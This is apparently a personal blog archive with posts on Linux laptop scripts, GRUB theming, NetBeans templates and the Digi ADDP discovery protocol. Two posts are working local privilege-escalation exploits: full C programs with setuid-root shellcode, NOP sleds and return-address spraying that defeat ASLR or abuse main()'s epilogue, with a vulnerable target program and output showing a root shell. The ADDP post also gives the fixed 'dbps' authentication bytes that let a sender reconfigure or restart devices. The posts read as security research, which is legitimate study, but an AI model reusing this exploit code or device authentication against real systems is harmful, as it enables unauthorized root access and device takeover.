Reconnect to wireless network when opening laptop lid

2010-01-15T22:19:00.005+02:00

When I close my laptop's LID, my installation is configured to put the computer into "standby", a.k.a. sleep mode. This turns off some devices, which includes my network devices, specifically my wireless device.

When it wakes from sleep mode, the "known" networks isn't always up to date, and sometimes doesn't update for up to 10 to 20 seconds, which means NetworkManager only reconnects to the wireless network when it does do such a scan.

I have, however, noticed that forcing a scan by running "iwlist scan" as root causes NetworkManager to immediately pick up the network and initiate the connection.

So I conjured up a script to help with this.

ACPI allows one to plug into some of it's events, one of which is the "lid" event. Though, once my laptop went into sleep mode, opening the lid doesn't automatically wake it up. I have to explicitly press the power button for this. The result is that the lid OPEN event is never triggered, as the machine is in standby when it physically happens.

I had a look at the ACPI docs, and there doesn't seem to be an event for "wake". Using acpi_listen, I did notice some events being triggered with the wake up. These are the ac_adapter, battery and 2 processor events (one for each core). They didn't carry any information which could reliably indicate a wake event, so I was forced to do my own.

So whenever I close my lid, I have an event that creates a file under /tmp. When the processor event is handled, it would check for this file, which if it exists indicates a fairly descent probability of "wake up".

If I were to close the lid and open it up before sleep mode has entered, ACPI does trigger an open event, which is the reason for the check on line 15 of "sleeplid.sh".

So to set this up I edited /etc/acpi/events/lidbtn, and added a 2nd action to trigger my event script. This results in the file reading:

event=button[ /]lid
action=/etc/acpi/lid.sh
action=/etc/acpi/sleeplid.sh lid

I also created a new event configuration, called /etc/acpi/events/processor, which reads:

event=processor
action=/etc/acpi/sleeplid.sh processor

And finally, just to make the actual event handler /etc/acpi/sleeplist.sh:

#!/bin/bash

LOG=/tmp/.sleeplig.log
SLEEPING=/tmp/.sleeplid.sleeping
DEV=wlan0

exec 2>&1 >> "$LOG"

echo "Event triggered: "`date`

DOSCAN=0
if [ "$1" = "lid" ]
then
  if grep -q closed /proc/acpi/button/lid/*/state
  then
    echo "LID closed"
    touch "$SLEEPING"
  else
    echo "LID opened"
  fi
elif [ "$1" = "processor" ]
then
  echo "Processor event"

  if [ -f "$SLEEPING" ]
  then
    rm -f "$SLEEPING"
    DOSCAN=1
  fi
else
  echo "WARN: Unknown event '$1'"
fi

if [ $DOSCAN -eq 1 ]
then
  echo "Initiating scan."
  iwlist $DEV scan
fi

So this basically triggers the script to run with an argument "lid" whenever the lid event occurs, and argument "processor" when the processor event occurs.

If you intend on using this you might need to update the DEV variable to whatever your wireless device is named. Since ACPI events are very device specific, you might also need to customize other aspects. Though the general idea would probably not change much.

And people wonder why I only use Linux...

My Custom Grub 2 Splash Screen

2010-01-03T00:21:00.005+02:00

I recently purchased a new laptop and decided to install Ubuntu 9.10 (Karmic Koala) on it. It's long overdue, because until now I've been using 8.04, due to the huge effort to reconfigure everything until it's "just right".

In the process there were quite a few things that changed which I either didn't like, or utterly despised. Though that didn't stop me and I started making thing's "just right".

One of these were to customize my grub splash screen. Since the eye-pleasing grub screens have become popular a few years ago, having to go back to and 80x25 black/white screen was quite disappointing, so I got onto the net on the lookout for a wallpaper I could use I my splash screen, since those that ship with the grub2-splashimages packages are horrible.

I found some truly great Ubuntu wallpapers at http://www.desktopnexus.com/tag/ubuntu/1, and found a suitable one.

Though in the process I discovered the limitations of grub "themes". You're stuck with a choice of 16 colors and the frame and text/title/list positions/sizes are fixed. So I jumped into the grub source, modified it, rebuilt the package and installed it - made simple thanks to Debian's amazing package management system.

I basically changed the title to show my system's hostname instead of the grub version, move it to the middle on the Y axis (instead of 3-4 columns off-center), move the whole bunch a bit downwards to fit in with the background, changed the column widths a bit to also better fit the background, and finally tuned the colors just a bit.

At one point I actually got a nice fading "highlight" going, though the nature of the background made this look nice for one option and awkward for others. So I stuck with an opaque highlight.

To finish it off I customized the grub.cfg generation scripts and their configuration a bit, so grub and the kernel is "just right"... for the moment at least.

The result is the following. Since it requires quite a bit of patching on the C source code, I'm going to skip explaining how I did it. If you want the patch, send me a message and I'll share it with you together with some explanations of the changes.

Beating Linux ASLR with Environment Variables

2009-12-13T16:36:00.017+02:00

I've been experimenting with ASLR some more, and discovered a very interesting side effect from the way Linux environment variables are made accessible to executable programs. Environment variables are always put at the end of the stack. So, since the stack is always aligned at "fff" for the last 12 bits, it means that in a static environment, the same variable will always have it's last 12 bits static. Further, the first 8 bits is also static, so this means for a static environment, there is only 32 - 12 - 8 bits of randomization, in other words only 12 bits of randomization.

Using this fact, you can load your shellcode into an environment variable. Make a small program to determine it's first 8 and last 12 bits, and pick a random value for it's middle 12 bits. You then use this as your return address, which would be the only value repeated throughout the exploit payload. Running this a few times you're bound to hit your shellcode in a very short period. I tried it a few times, and it was under 10 seconds every time.

To further decrease the random bits you can make an extremely large NOP sled. For 12 bits, you have 2^12 possible values, of which only 1 will be a hit. If you make your NOP sled 4096 bytes, then you increase the amount of hits to 2. To explain this, assume you're environment variable is at address: 0xbf010b3c. If your NOP sled was 4096 bytes, this means your environment variable will stretch from 0xbf010b3c to 0xbf011b3c. So with the 12 bits of randomization 2 possible values will hit your sled.

I've found that I can get a variable up to 4096*32 bytes. With these large values it becomes unnecessary to even know the last 12 bits, because any value in these 12 bits will fall in the NOP sled, as long as the first 20 bits do.

So to try this all out, I made a program which builds an environment using a full 128kbs. I found the maximum environment variable to be exactly 32 * 4096 + 1 bytes. The extra byte I assume is for the equal sign. So if you simply fill the complete environment with 128kb of shellcode, you can get maximum possible effect. If you use multiple such variables I've also found that you can get at most 16 of them before execve() stops executing the program. This seems to be a 2MB environment limit.

I made the following vulnerable program:

// build with: gcc -fno-stack-protector -o vuln vuln.c
#include <stdio.h>
#include <string.h>

void func(char *argv[])
{
  char buf[100];
  fprintf(stderr, "a: %p\n", getenv("a"));
  strcpy(buf, argv[1]);
}

int main(int argc, char *argv[])
{
  func(argv);
}

And then the following program to exploit it:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

char shellcode[]=
  // setuid(0) + exec(/bin/sh)
  "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
  "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
  "\xe1\xcd\x80" // 35 bytes
  ;

#define ESIZE (32 * 4096 - sizeof(shellcode))

int main(int argc, char **argv)
{
  char buf[200];
  int i;
  char *envptr = (char*)malloc(ESIZE);
  char *args[] = {"./vuln", buf, 0};
  char *env[] = {envptr, 0};

  // here we just pick any 0xbf... address. Running it once you'll see 
  // the vulnerable program print an address, using the first 8 and
  // last 12 bits from this address is a good idea.
  long envaddr = 0xbfcccfca;

  fprintf(stderr, "T: %p\n", envaddr);

  // build the return address buf
  for (i = 0; i < 200; i += 4)
  {
    *((long*)&buf[i]) = envaddr;
  }

  // create the environment
  memset(envptr, 0x90, ESIZE);
  memcpy(envptr + ESIZE, shellcode, sizeof(shellcode));

  // so we can print the addr in the vulnerable program we give it a name
  memcpy(envptr, "a=", 2);

  execve(args[0], args, env);
}

It basically builds a buffer with a selected return address. This is just any
address. As long as the first 8 bits are 0xbf you should get a hit pretty quickly.

It then builds an environment which consists of a very large NOP sled and the 35 byte shellcode, and executes the program.

I ran this in a bash loop (while true; do ./bigenvsploit; done) and got a successful exploitation in 50 executions! Then I quit the shell and got another hit in 12 executions!

I made another one which uses 16 environment variables with the same values but different names. In the process I discovered a stack overflow in GLIBC (gonna be a nice one!). With this version of the exploit I get a hit in less than 5 iterations... usually on the FIRST execution!

$ quintin@quintin-laptop bigenv $ ./bigenvsploit 
T: 0xbfcccff5
a: 0xbfcb7fca
$ exit
quintin@quintin-laptop bigenv $ ./bigenvsploit 
T: 0xbfcccff5
a: 0xbf9b3fca
Segmentation fault
quintin@quintin-laptop bigenv $ ./bigenvsploit 
T: 0xbfcccff5
a: 0xbf8edfca
Segmentation fault 
quintin@quintin-laptop bigenv $ ./bigenvsploit 
T: 0xbfcccff5
a: 0xbfb51fca
$ exit 
quintin@quintin-laptop bigenv $ ./bigenvsploit 
T: 0xbfcccff5
a: 0xbf7d1fca
$ exit 
quintin@quintin-laptop bigenv $ ./bigenvsploit 
T: 0xbfcccff5
a: 0xbfa32fca
$ exit

Brilliant!

For your pleasure, here it is:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

char shellcode[]=
  // setuid(0) + exec(/bin/sh)
  "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
  "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
  "\xe1\xcd\x80" // 35 bytes
  ;

#define ESIZE (32 * 4096 - sizeof(shellcode))

int main(int argc, char **argv)
{
  char buf[200];
  int i, en;
  char *args[] = {"./vuln", buf, 0};
  char **env = (char**)calloc(sizeof(char*), 17);

  // here we just pick any address. Running it once you'll see the vulnerable
  // program print an address. we pick the last 12 bits a bit lower, so to
  // further increase hit probability (had the random addr fallen on our edge)
  long envaddr = 0xbfcccff5;

  fprintf(stderr, "T: %p\n", envaddr);

  // build the return address buf
  for (i = 0; i < 200; i += 4)
  {
    *((long*)&buf[i]) = envaddr;
  }
 
  // create the environment
  for (en = 0; en < 16; ++en)
  {
    char *envptr = (char*)malloc(ESIZE);

    memset(envptr, 0x90, ESIZE);
    memcpy(envptr + ESIZE - sizeof(shellcode), shellcode, sizeof(shellcode));

    envptr[0] = 'a' + en;
    envptr[1] = '=';

    // so we can print the addr in the vulnerable program we give it a name
    env[en] = envptr;
  }
  env[en] = 0;

  execve(args[0], args, env);
}

Exploiting a Buffer Overflow in main()

2009-12-13T11:35:00.005+02:00

A buffer overflow in main() is very hard to imagine. I've never seen one myself, since main usually delegates to other parts of a system very early on. Though, I noticed yesterday that GCC sets up the main() function a bit differently than others.

Take the following empty program as an example:

int func()
{
}

int main()
{
}

When compiling this without stack protection gives the following:

08048344 <func>:
 8048344: 55                    push   ebp
 8048345: 89 e5                 mov    ebp,esp
 8048347: 5d                    pop    ebp
 8048348: c3                    ret    

08048349 <main>:
 8048349: 8d 4c 24 04           lea    ecx,[esp+0x4]
 804834d: 83 e4 f0              and    esp,0xfffffff0
 8048350: ff 71 fc              push   DWORD PTR [ecx-0x4]
 8048353: 55                    push   ebp
 8048354: 89 e5                 mov    ebp,esp
 8048356: 51                    push   ecx
 8048357: 59                    pop    ecx
 8048358: 5d                    pop    ebp
 8048359: 8d 61 fc              lea    esp,[ecx-0x4]
 804835c: c3                    ret    
 804835d: 90                    nop    
 804835e: 90                    nop    
 804835f: 90                    nop

A normal function, in it's prologue, stores any previous "ebp" on the stack, and loads the new stack pointer (esp) into ebp. From here it will use "ebp" to do any stack calculations for local variables/arguments. Then before returning it will restore the previous ebp, and return. This means, the last 8 bytes on the stack will be [ebp:4][eip:4]. When the function returns the caller's "ebp" is popped, and the "ret" instruction will pop the new "eip" and continue execution.

The main function on the other hand (I keep wanting to say "method" instead of "function" - I'm Java brainwashed) does it a bit differently. First it loads the address of "esp + 4" into ecx. This will be the "int argc" argument. Then it ensures the stack is at a 16 byte block and pushes the original return address into the new stack location. They have to do this, otherwise main won't be able to return (unless esp's last 4 bits were already 0000b). "main" returns to a function called __libc_start_main, which is one of the many bootstrapping functions GCC puts into it's resulting binaries.

After this it's the normal ebp/esp business, and some preparation for the arguments like saving the value of ecx, since future functions might want to use it. In the example above, 0x8048358 is where the epilogue starts. This restores the value of ecx and ebp, and then the big business that makes exploiting a main method different. It changes the stack pointer (esp), to what it was before entry into main, and only then it returns. This means the resulting value of "esp" should point to the new return address, which would probably be another stack address, filled with a payload.

Usually when you exploit a buffer overflow, you have a NOP sled, the shellcode and then a sequence of return addresses. Had you done this in a main function you will end up with having esp having the value of the return address, and then the ret instruction trying to jump to 0x90909090. This won't work for obvious reasons. You would need to be very precise in setting up this buffer. First you would have to supply an address, which would get loaded into "ecx". The value of this address needs to be 4 bytes greater, than where the real return address is on the stack.

These values will all be based around offsets from the return address. There are a few address padding techniques I've come up with to help increase the hit probability. They're all pretty much similar, having sequences of 2 address placed in different places. To keep this short, I'll explain the simplest of them all.

The easiest can be used when you have a very large buffer. Assume the variable RET is our return address. You could then override the end of the buffer with this address as usual, but instead of a NOP sled, you can first write X instances of RET + X * 4, and then have the NOP sled follow.

To demonstrate this I created a PoC. This program has a 1000 byte buffer in main(), and then sets up an exploit to spawn a shell and copies this into the buffer. So it exploits itself (wouldn't that be a dream - save the hackers some time and write the exploit before you ship your software).

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define BUFSIZE 1000
#define PAYLOADSIZE (BUFSIZE * 2)
#define SLEDSIZE 100
#define RETADDR_CNT 20

char shellcode[]=
  // setuid(0) + exec(/bin/sh)
  "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
  "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
  "\xe1\xcd\x80" // 35 bytes
  ;

void *alignaddr(void *ptr)
{
  while ((long)ptr % 4) ++ptr;
  return ptr;
}

void *setupExploit(void *bufaddr)
{
  long sled_addr, stack_addr;
  char *expldata = (char*)malloc(PAYLOADSIZE * sizeof(char));
  char *ptr = expldata;
  int i;

  if (ptr == NULL)
  {
    error(1, 0, "Failed to prepare payload");
  }

  ptr = alignaddr(ptr);

  // this is the address that will go into "ecx", and have 4 deducted
  // from it to get the new stack frame address
  stack_addr = (long)bufaddr + 4; 
  // this is the address where the NOP sled and shellcode will be
  sled_addr = (long)bufaddr + 4 * RETADDR_CNT;

  printf("Buf Addr: %p\n", bufaddr);
  printf("SLED Addr: %p\n", sled_addr);
  printf("Stack Addr: %p\n", stack_addr);

  // write the sled address to the beginning of the buffer
  for (i = 0; i < RETADDR_CNT; ++i)
  {
    *((long*)ptr) = sled_addr;
    ptr += 4;
  }

  // follow with a NOP sled
  for (i = 0; i < SLEDSIZE; ++i)
  {
    *ptr++ = 0x90;
  }

  // add the shellcode
  memcpy(ptr, shellcode, sizeof(shellcode));
  ptr += sizeof(shellcode);

  // align the address
  ptr = alignaddr(ptr);

  // and fill the remaining with the stack address
  while (ptr < expldata + PAYLOADSIZE)
  {
    *((long*)ptr) = stack_addr;
    ptr += 4;
  }

  return expldata;
}

int main(int argc, char **argv)
{
  char buf[BUFSIZE];
  char *expl;

  expl = setupExploit(buf);
  memcpy(buf, expl, PAYLOADSIZE);
}

Building and running this you will see something like:

quintin@quintin-laptop mainexpl $ gcc -fno-stack-protector -o mainexpl mainexpl.c 
quintin@quintin-laptop mainexpl $ sudo chown root:root mainexpl
quintin@quintin-laptop mainexpl $ sudo chmod u+s mainexpl
quintin@quintin-laptop mainexpl $ ./mainexpl 
Buf Addr: 0xbf9a48b8
SLED Addr: 0xbf9a4908
Stack Addr: 0xbf9a48bc
# id
uid=0(root) gid=1002(quintin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),33(www-data),44(video),46(plugdev),104(scanner),108(lpadmin),110(admin),115(netdev),117(powerdev),124(sambashare),1002(quintin)
#

* To demonstrate this the program is built with stack protection turned off. This is the "-fno-stack-protector" argument given to gcc.

Taking into account the explanations from before, 0xbf9a48b8 is the address where our payload will go, 0xbf9a4908 is the actual address of where the NOP sled and shellcode will go and finally 0xbf9a48bc is where we need to store the SLED address, since this address will be put into ecx in the main() epilogue.

In a bit more detail, let's run it through GDB. The disassembled main() function:

0804854b <main>:
 804854b: 8d 4c 24 04           lea    ecx,[esp+0x4]
 804854f: 83 e4 f0              and    esp,0xfffffff0
 8048552: ff 71 fc              push   DWORD PTR [ecx-0x4]
 8048555: 55                    push   ebp
 8048556: 89 e5                 mov    ebp,esp
 8048558: 51                    push   ecx
 8048559: 81 ec 04 04 00 00     sub    esp,0x404
 804855f: 8d 85 10 fc ff ff     lea    eax,[ebp-0x3f0]
 8048565: 89 04 24              mov    DWORD PTR [esp],eax
 8048568: e8 bf fe ff ff        call   804842c <setupExploit>
 804856d: 89 45 f8              mov    DWORD PTR [ebp-0x8],eax
 8048570: c7 44 24 08 d0 07 00  mov    DWORD PTR [esp+0x8],0x7d0
 8048577: 00 
 8048578: 8b 45 f8              mov    eax,DWORD PTR [ebp-0x8]
 804857b: 89 44 24 04           mov    DWORD PTR [esp+0x4],eax
 804857f: 8d 85 10 fc ff ff     lea    eax,[ebp-0x3f0]
 8048585: 89 04 24              mov    DWORD PTR [esp],eax
 8048588: e8 b7 fd ff ff        call   8048344 <memcpy@plt>
 804858d: 81 c4 04 04 00 00     add    esp,0x404
 8048593: 59                    pop    ecx
 8048594: 5d                    pop    ebp
 8048595: 8d 61 fc              lea    esp,[ecx-0x4]
 8048598: c3                    ret

We'll put a breakpoint at the start of the epilogue (the pop ecx), ie. 0x8048593.

quintin@quintin-laptop mainexpl $ gdb ./mainexpl
GNU gdb 6.8-debian
(gdb) break *0x8048593
Breakpoint 1 at 0x8048593
(gdb) run
Starting program: /home/quintin/tmp/notesearch/mainexpl 
Buf Addr: 0xbf9a48b8
SLED Addr: 0xbf9a4908
Stack Addr: 0xbf9a48bc

Breakpoint 1, 0x08048593 in main ()
Current language:  auto; currently asm
(gdb) i r ecx esp
ecx            0x0 0
esp            0xbf9a4ca4 0xbf9a4ca4
(gdb) x/8xw $esp
0xbf9a4ca4: 0xbf9a48bc 0xbf9a48bc 0xbf9a48bc 0xbf9a48bc
0xbf9a4cb4: 0xbf9a48bc 0xbf9a48bc 0xbf9a48bc 0xbf9a48bc
(gdb)

As you can see the value of ecx is 0, and our new stack address is all over the current stack. Let's step the "pop ecx" instruction and see what we have then.

(gdb) stepi
0x08048594 in main ()
(gdb) i r ecx esp
ecx            0xbf9a48bc -1080407876
esp            0xbf9a4ca8 0xbf9a4ca8
(gdb)

We don't care for ebp, so let's see what happens when we load the new stack address, 2 instructions onwards.

(gdb) stepi
0x08048595 in main ()
(gdb) stepi
0x08048598 in main ()
(gdb) i r ecx esp
ecx            0xbf9a48bc -1080407876
esp            0xbf9a48b8 0xbf9a48b8
(gdb) x/4xw $esp
0xbf9a48b8: 0xbf9a4908 0xbf9a4908 0xbf9a4908 0xbf9a4908
(gdb)

So the stack frame was changed to where we put our return addresses. The next instruction to be executed is "ret", which would change the eip register to 0xbf9a4908, which is where our NOP sled and shellcode is, as can be seen with:

(gdb) x/10i 0xbf9a4908
0xbf9a4908: nop    
0xbf9a4909: nop    
0xbf9a490a: nop    
0xbf9a490b: nop    
0xbf9a490c: nop    
0xbf9a490d: nop    
0xbf9a490e: nop    
0xbf9a490f: nop    
0xbf9a4910: nop    
0xbf9a4911: nop    
(gdb) x/20i 0xbf9a4908+97
0xbf9a4969: nop    
0xbf9a496a: nop    
0xbf9a496b: nop    
0xbf9a496c: xor    eax,eax
0xbf9a496e: xor    ebx,ebx
0xbf9a4970: xor    ecx,ecx
0xbf9a4972: cdq    
0xbf9a4973: mov    al,0xa4
0xbf9a4975: int    0x80
0xbf9a4977: push   0xb
0xbf9a4979: pop    eax
0xbf9a497a: push   ecx
0xbf9a497b: push   0x68732f2f
0xbf9a4980: push   0x6e69622f
0xbf9a4985: mov    ebx,esp
0xbf9a4987: push   ecx
0xbf9a4988: mov    edx,esp
0xbf9a498a: push   ebx
0xbf9a498b: mov    ecx,esp
0xbf9a498d: int    0x80
(gdb)

The next step will be to execute the "ret", and start executing the shellcode:

(gdb) continue
Continuing.
Executing new program: /bin/dash
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
$

And that's one way of exploiting a stack overflow in main(). If you had a small buffer, high precision is needed, but you could put the return address 2 words after the new stack address. Or you could put the shellcode somewhere else and use this buffer purely for addressing. Many things are possible, and every scenario is unique.

Beating Linux ASLR for Local Exploits

2009-12-12T17:51:00.009+02:00

Stack address randomization definitely helps to prevent exploitation of stack based exploits, since it becomes almost impossible to correctly guess the address to return to for executing your code, and brute force guessing this can be time consuming and/or alert a NIDS.

I did, however, notice something interesting about it today while analyzing some of GCC's optimization techniques.

I've never analyzed ASLR itself. I've just noticed the stack base address being random on every execution of a program. This can be turned off by running your command with "setarch" or using the "personality" function. This is only really useful for debugging purposes as far as I can see. The point I'm trying to make is that this is in now way an in depth analysis of ASLR and that I could be wrong in some of my assumptions.

I'm not sure if ASLR reseeds it's generator. If it does it seems like a globally shared seed is used. At least in a process tree with some chosen parent or something. I'm basing these guesses on the fact that spawning a new process using the execv() system call, very quickly after the parent process started, the stack bases will be the same.

Take this example:

#include <stdio.h>

int main(int argc, char **argv)
{
  int i;
  char *arg[] = {argv[0], argv[0], 0};
  if (argc < 2)
  {
    printf("parent addr i: %p\n", &i);
    //sleep(1);
    execv(argv[0], arg);
  }
  else
  {
    printf("child addr i: %p\n", &i);
  }
}

With this, the address of "i" is printed, then a child process is spawned which will also print the address of the same variable in it's stack.

Running this you'll notice that the addresses are very close or match most of the time. I figure if it spawns quickly enough after the first process, the seed for the new process is the same and thus they'll generate the same random number for the stack base. Try uncommenting the "sleep(1)" call and running it again. The stack doesn't match anymore (if it does it's a very rare/lucky case).

I also noticed that even when the bases don't match, they are sometimes very close to each other, usually exactly 0x10 bytes. This might have been a coincidence, but in these cases the child process was always 0x10 bytes lower than the parent process. (UPDATE: The 0x10 bytes was unique to this case. Further I've found that the generator used for ASLR uses the PID of the process (added to the jiffies) to generate the random number, which explains why they end up "close")

These 2 facts can be used in local exploits. If you can quickly enough setup the exploit and spawn the vulnerable program, you should be able to reliably guess the return address using the information from the parent process, and with a NOP slide of at least 0x10 bytes, both facts can be accounted for.

Proof of Concept

I created a proof of concept, which consists of a program with a buffer overflow vulnerability, and an exploit that makes use of this execv() weakness to circumvent ASLR protection. Download Proof of Concept.

Read the README file, and run demo.sh. Further, an example of what you might expect is in the SAMPLE file, included in the tarball. When extracted all files will be found in the "aslr-poc" directory.

Netbeans Templates Project Specific Properties

2009-11-28T12:36:00.002+02:00

Netbeans uses FreeMarker templates for generating new files. This is very flexible and especially useful for code generation when using Netbeans' UML module.

Though sometimes you want some project specific variables to be inserted into the templates, for example a project's web site URL into it's license headers. Unfortunately Netbeans doesn't propagate all properties into the FreeMarker engine, so it's not very easy to reference variables/properties in the templates.

They have, however, made a "User.properties" file available, and all properties defined in this file are available in the templates. The downside of this is that the same User.properties is again shared by all projects. So what people do is to change the property's value everytime they change the project. This is redundant.

So I set out to find a way to get project specific variables into my templates. The only way to define static custom properties is to use User.properties, so I needed a way to have the template distinguish between which one to use. There are 2 ways to identify a project using the 2 predefined variables "project.name" and "project.displayName". I decided to use "project.name" to better support my Maven projects.

Then I made properties in User.properties where the project name is used as part of the property name. So using the web site example from above, I would have properties like the following (in User.properties): project.site.Jnetcalc=http://qbeukes.blogspot.com/ project.site.JDigiDiscover=http://www.sourceforge.net/projects/jdigidiscoverIn general your property/variables names aren't allowed to have non alphanumeric characters, because they have special meaning to FreeMarker. The "." for example is used to reference into a hash and has the same meaning as the subscript specifiers. In other words "project.site" has the same meaning has "project[site]".

I was trying different things to get both the "." as well as dynamic variable names to be referenced, so I found the special variable ".vars". This is a hash which contain as elements all variables, and was provided for just this purpose... referencing variables with non-standard names.

So to get the above project specific variables working you need to reference them with:${.vars["project.site.${project.name}"]}And that's it.

Steps

These steps will use as an example a variable called "project.site", and be defined for 2 projects, Project1 and Project2.

Open your User.properties file from the Templates dialog (under the User Configuration Properties folder)
Add your project specific variables with a common prefix followed by the project name (see below for determining your project name).
project.site.Project1=http://www.project1.com
project.site.Project2=http://www.project2.com
Save the User.properties
Open the template into which you wish to put these variables.
Edit the template, adding the variable as follows:
${.vars["project.site.${project.name}"]}
Now creating 2 projects "Project1" and "Project2" and creating a file that uses this template, the project's site will be inserted into the desired place.

Determine Project Name

The most definite way to determine the project name is probably to put a "project.name" variable into a template, using the template and seeing what it prints.

For Netbeans Ant projects, the project name is the same one displayed in the project view. Maven projects on the other hand displays the "" elements from the POM. The project name for a Maven project takes the form "{groupId}_{artifactId}_{packaging}_{version}", so for JDigiDiscovery the "User.properties" variable would be: project.site.com.blogspot.qbeukes_JDigiDiscover_jar_1.0.6=....

If you choose to use the "project.displayName" property instead, you can just use whatever Netbeans displays for the project in the "Projects" view, though the Maven projects always have spaces in these names, for example "JDigiDiscover (jar)". You can't control this extra bit, though it's not a problem. Read on.

Spaces in the Project Name

If you have spaces in the project name, you just need to quote them when defining your variables. So, for the name "JDigiDiscover (jar)", I would define the property as: project.site.JDigiDiscover\ (jar)=...Conclusion This is the only way I found to define project specific variables for templates. The down side is that for every Netbeans installation you need to redefine these properties. Though it is templates and not technically part of the project. So for every installation you do need to edit the templates any way. You might as well do so for User.properties. The alternative is to define a unique template for each project, though this isn't really possible if you want to edit the templates for types like "Java Class" or "Java Enum". You can always define your own ones like "Java Class - Project1" and "Java Class - Project2", but this just makes it even more complex.It would be great if the Netbeans developers could make a way to define a project specific template directory, and using a project property reference these templates which would then override their corresponding global templates. This way you can have the templates as part of the project in your source repository and enforce them on all newly created files. This will definitely reduce the risk of having non-conforming files.

Advanced Digi Discovery Protocol Explained

2009-11-21T21:57:00.003+02:00

This is a continuation of my previous post.

If you haven't read the previous post I recommend you do so now, but to summarize. ADDP, or Advanced Digi Discovery Protocol is a UDP multicast protocol used for discovering and reconfiguring network settings of Digi devices (such as the Digi Connect ME) on the local network, irrelevant of their network configuration.

I've basically completed my documentation and implementation of ADDP, though like software usually is, it will never be truly complete, and the documentation of the protocol is still missing a few fields and codes. It's definitely complete enough to release so people can implement the protocol themselves.

The implementation I made is a cross platform Java version of their "Digi Device Discovery" tool from Digi International Inc. It's called JDigiDiscover and lists all Digi devices on the network (which have ADDP activated) with detailed public configuration for them, and then allows you to either restart the device or change it's network configuration. You can see some screenshots and/or download it from it's SourceForge.net project page. It's released under the Apache License 2.0.

ADDP is a proprietary protocol developed by and it's copyrighted owned by Digi International Inc. Use of the protocol is limited to their products and their terms. I released this purely because I noticed a need for implementing it in your own non C and non Windows applications for managing your own Digi devices. For more information see http://www.digi.com/.

ADDP

Summary

The ADDP protocol is a UDP multicast protocol, doing broadcasts on 224.0.5.128 port 2362. This is the default configuration, though it is possible to disable this for a given Digi device, or change the port.

All communications are in the form of request/response, and there exists 4 communication types which give a total of 8 packets. They are Discovery, Static Configuration, DHCP Network Configuration and Restart.

All packets consists of a header and a payload. The header format is common throughout all packet types, where the payload is common on response packets but unique for each request packet type.

The Header

The header starts with the magic bytes "DIGI", ie. 0x44,49,47,49. This is followed by a 2 byte packet type identifier (see the tables at the end of this document). After the identifier is a 2 byte short, which indicates the length/size of the payload.

The Payload

As explain, the payloads of all request packets are unique to the type of packet, where the response packets have a common format. Response packets contain information pertaining to the request. This information is given in a variable amount of fields, each field being identified by a 1 byte identifier. These identifiers are shared across all response packets, each response sending only the information relevant to the request.

So a field takes the form of a 1 byte field type ID (see the tables at the end of this document), then a 1 byte field length followed the the field's data. The field length byte indicates how many data bytes need to be read. This will always be at least one. Take for example the IP address field. It's type id is 0x02, and being an IP address it will be 4 bytes long. If the IP address was 10.0.0.5, then the field would have the following value: 0x02,04,0a,00,00,05. Response packets always have the MAC address field set, and is the MAC address of the device the packet originated from. You use this to pair responses with requests.

When a request packet had an invalid format, even though the MAC address was valid an it's obvious the packet was meant for a given device, it will be ignored and no response packet will be sent. Response packets are only sent when the request packet had a 100% valid structure. Failure responses are sent only for failure after the packet was parsed successfully.

So to parse the payload, you just read the fields in a serial manner until the complete payload has been consumed. Not all responses of the same type will always have the same fields. So it's important to read the payload based on the size specified in the header. Further, depending on the field type, an absent field could mean that it's the default value or irrelevant to the type of packet. For example, in the restart response packet the IP address field won't be set, where the absense of the RealPort number field in a discovery response could indicate it's disabled.

When transferring MAC addresses or IP addresses, they are sent as the raw binary values. Since each component of both a MAC address and IP address is a number in the range 0-255 they are each represented as a byte. This is actually what a MAC address and IP address is. Even though we write an IP address as: 10.0.0.9, it's actually a 4 byte values of: 0x0a,00,00,09. Same goes for a MAC address, which is written as comma separated hexadecimal bytes. When transferred, the host byte order is used, so you read the IP address in the byte order it appears in the packet (which is the same as the example just given).

Numbers are always either 1, 2 or 4 bytes. For 1 byte you just take the integer value of the byte, and for 2 or 4 byte you interpret it with Little Endian. The 2 byte shorts can be calculated with: "((b[0] & 0xff) <<>

Strings are never sent in request packets, though received in a number of response packet fields. The length of the string would be the field size, and it has no terminator. So to read the string value simply copy all of the field data into a character array/string. Characters are always 1 byte ASCII.

Request Packet Authentication

The Configuration and Restart request packets require authentication and a target. This is the last 11 bytes of each of these packets. The target is a 6 byte MAC address, and is the MAC address of the target Digi unit.

The authentication data seems to always be static byte sequence: 0x04,64,62,70,73. This is a 1 byte length with the value of "4", and the character sequence "dbps" (which is also the Digi Connect ME default root password). Even when changing your device's root password, this will remain the same. It's definitely used for authentication, as sending different values will result in an "authentication error" response.

Discovery/Information Request

The Discovery request packet is the simplest of all of them. It has the packet type 0x0001 and a 6 byte payload which is a MAC address. The MAC address in the payload is for the device which you request information from. So only the device whose MAC address matches the one in the packet will respond to this request. If you want all devices to respond, use the broadcast MAC address ff:ff:ff:ff:ff:ff.

This sample Discovery Request packet will request responses from all DIGIs on the network which has ADDP activated on port 2362. To request information from Digis listening on a different ADDP port, change the destination port of the UDP packet.

Data (14 bytes):

0000   44 49 47 49 00 01 00 06 ff ff ff ff ff ff        DIGI..........

Breaks down as:

            44 49 47 49  DIGI       - Magic
                  00 01  ..         - Packet type (0001)
                  00 06  ..         - Payload size (6 bytes)
      ff ff ff ff ff ff  ......     - Target MAC

Discovery/Information Response

If a Digi unit receives the discovery request packet and it's meant for either all Digis or itself (based on the request packet's target MAC address as described above), it will respond with a response packet containing details of it's configuration, such as IP address, subnet mask, number of serial ports, etc.

This packet has the id 0x0002 and is probably the largest of all the packets. See the tables at the end of this e-mail for all possible fields. The following example is a typical packet you might receive in response to a discovery request.

Data (104 bytes):

